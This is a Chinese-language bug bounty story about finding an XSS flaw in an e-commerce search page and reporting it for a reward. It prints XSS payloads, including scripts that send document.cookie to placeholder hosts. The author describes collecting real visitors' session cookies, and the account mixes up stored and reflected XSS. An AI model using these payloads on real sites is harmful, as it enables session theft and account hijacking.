介绍:
发现漏洞总能让人感到无比满足,尤其是当它可能是危及数百万用户的漏洞时。当你因为发现漏洞而获得赏金奖励时,这种满足感会更加强烈。我来分享一个故事,讲述我如何在一家大型在线商店中发现一个高危XSS(跨站脚本)漏洞。这个漏洞并不容易发现,我花了数小时进行测试,经历了无数次挫折和失败,才最终确定了漏洞所在。但最终,我的坚持得到了回报,我获得了2000美元的赏金。事情的经过如下。
什么是跨站点脚本 (XSS)?
在深入探讨我的旅程之前,让我们先来定义一下改变我人生的漏洞。跨站脚本 (XSS) 是一种漏洞,它允许攻击者将恶意脚本注入他人访问的网页。这些脚本可以执行任意操作,例如窃取敏感信息(Cookie、会话 ID)、劫持账户、将用户重定向到恶意网站,或以用户的名义执行未经授权的操作。
XSS 主要有三种类型:
- 反射型 XSS:攻击载荷在服务器对用户请求的响应中被反射出去。
- 存储型 XSS:恶意脚本存储在服务器上(例如,在数据库中),然后在其他用户查看受感染的页面时执行。
- 基于 DOM 的 XSS:有效负载在浏览器中执行,并且无需服务器参与即可操作页面的 DOM(文档对象模型)。
就我而言,我当时正在一家大型电商平台中寻找存储型XSS漏洞,该漏洞一旦被利用,可能会危及用户账户安全。电商平台中的存储型XSS漏洞意味着,我可以将注入的恶意脚本感染访问产品页面或搜索结果的用户账户。
步骤 1:获取目标 — 确定商店
我旅程的第一步是找到目标。作为一名经常购物的顾客,我已经使用一个电商平台很多年了。它是市场上的主要参与者,所以我知道,如果我能在这里找到一个漏洞,那可能就是一笔不小的收益。
一天下午,我在浏览网站时,注意到了一些异常。网站的搜索栏似乎比预期的要灵活一些。它似乎没有正确地过滤输入。我输入了一个简单的字符串<>
(例如“小于号”和“大于号”),页面却没有崩溃,这表明输入可能被错误地处理了。这让我开始思考——这可能是一个潜在的XSS漏洞吗?
步骤2:开始搜索——测试XSS
我立即决定进行一些基本测试。说实话,刚开始的时候,我完全不知道要花多大功夫才能找到一个关键漏洞。我的目标很简单:注入一个脚本,看看页面是否会执行。我首先在搜索栏中注入了一些基本的payload。
简单测试有效载荷:
<script>alert('XSS')</script>
我在搜索栏里输入了脚本,然后按回车键。页面刷新了,但没有出现任何提示。我最初的想法是什么?“这肯定是死路一条。也许页面会过滤输入。”
但我不会那么轻易放弃。
步骤 3:真正的挑战——理解输入清理
我知道商店的搜索栏可能存在漏洞,但当时并不清楚为什么我的简单脚本无法执行。页面可能设置了输入过滤机制,以阻止诸如此类的基本脚本<script>alert()</script>
。这时我遇到了瓶颈。我花了几个小时研究网站通常如何过滤输入,尝试了各种不同的payload,并逐一测试。
以下是我使用的常见有效载荷列表,这些有效载荷经过修改,试图绕过清理:
有效载荷变体:
编码版本
%3Cscript%3Ealert('XSS')%3C/script%3E
事件处理程序
<imgsrc="x"onerror="alert('XSS')">
<imgsrc="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA..."onerror="alert('XSS')">
尽管尝试了这些不同的编码,页面仍然没有执行任何脚本。我感到很沮丧。我几乎要放弃了,心想这个网站可能已经打了补丁。但后来,我想到了一个不同的方法。也许这个页面的XSS漏洞并非直接来自搜索栏,而是通过产品搜索结果。这种新的思路是我的突破口。
步骤4:浏览产品列表——发现的关键
我决定深入研究产品列表,因为许多电商网站会在页面元数据或产品名称中显示搜索查询。经过进一步检查,我发现,当你搜索某个产品时,搜索词会反映在页面标题和结果中。
再次测试
我重新查看了搜索栏,这次重点关注了产品名称的显示方式。我稍微修改了有效载荷,以专注于以下反射输出:
<script>
document.location='http://malicious-website.com?cookie=' + document.cookie;
</script>
我把这段代码插入搜索栏,然后按下回车键。我成功地在页面标题和产品结果中注入了脚本。
步骤 5:验证——整个过程中最困难的部分
找到第一个有效的payload后,我需要测试它在不同用户和产品页面上是否一致,以及是否可被利用。这个过程非常令人沮丧,因为我必须不断检查结果,并确保每个访问该页面的访问者都会受到影响。
坚持就有回报:
- 我创建了一个脚本,可以窃取会话 cookie 并将其发送到我自己的服务器,确保如果漏洞被利用,我可以收集足够的证据来验证其严重性。
这是我使用的最终有效载荷:
<script>
var x = new XMLHttpRequest();
x.open("GET", "http://malicious-site.com/steal?cookie=" + document.cookie, true);
x.send();
</script>
我将其注入到几个搜索查询中,并使用服务器日志监控流量。果然,有效载荷成功执行,我能够窃取访问受感染页面的所有用户的会话cookie。
第六步:报告漏洞——披露的焦虑
在彻底测试了漏洞之后,就到了报告的时候了。我花了几个小时起草报告,确保包含所有必要的细节,例如:
- 重现步骤:如何通过在搜索栏中输入特定的有效负载并观察页面元数据中的脚本执行来利用该漏洞。
- 影响评估:恶意攻击者如何劫持用户账户并窃取敏感数据,包括会话 cookie 和个人信息。
- 概念证明:关于如何利用漏洞的工作演示,带有屏幕截图和网络流量日志。
- 缓解建议:针对输入验证、输出编码和内容安全策略 (CSP) 的建议,以缓解进一步的 XSS 攻击。
精心准备一份完美的披露文件需要极大的耐心。我担心公司会作何反应——他们会把它当成小事一笑置之,还是干脆置之不理。
第七步:胜利——获得2000美元赏金
让我松了一口气的是,商店的安全团队迅速做出了回应。他们承认了漏洞的存在,并对我负责任的披露表示感谢。几周后,我收到了他们赏金计划的邮件:我因发现这个关键漏洞而获得了2000 美元的奖励。
那种被认可的感觉无比强烈。所有的挣扎、所有的挫折,以及无数小时的测试,都得到了回报。我不仅帮助保护了数百万用户,还获得了丰厚的回报。
结论——道德黑客的残酷真相
虽然这个故事以高潮收尾,但我想明确一点:道德黑客和漏洞测试并非易事。它需要对安全有深刻的理解,愿意接受失败并从错误中汲取教训,以及在事情看似不顺时仍能坚持下去的坚定毅力。很多时候,我都想放弃——感觉自己碰壁了,或者觉得自己发现的漏洞只是侥幸。但坚持不懈和对细节的关注才是我成功的关键。
网络安全领域充满挑战,但也回报丰厚。如果您想有所成就并获得回报,就不要害怕亲自动手,投入测试。无论您是参与漏洞赏金计划、进行渗透测试,还是仅仅进行自主探索,总有新的东西值得学习。
请记住,无论面临多少次失败,只需一次突破就能改变一切。
原文始发于微信公众号(Rsec):0036. 我是如何发现一个关键的商店 XSS 漏洞并获得 2,000 美元赏金的——我的挣扎、失败和突破
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论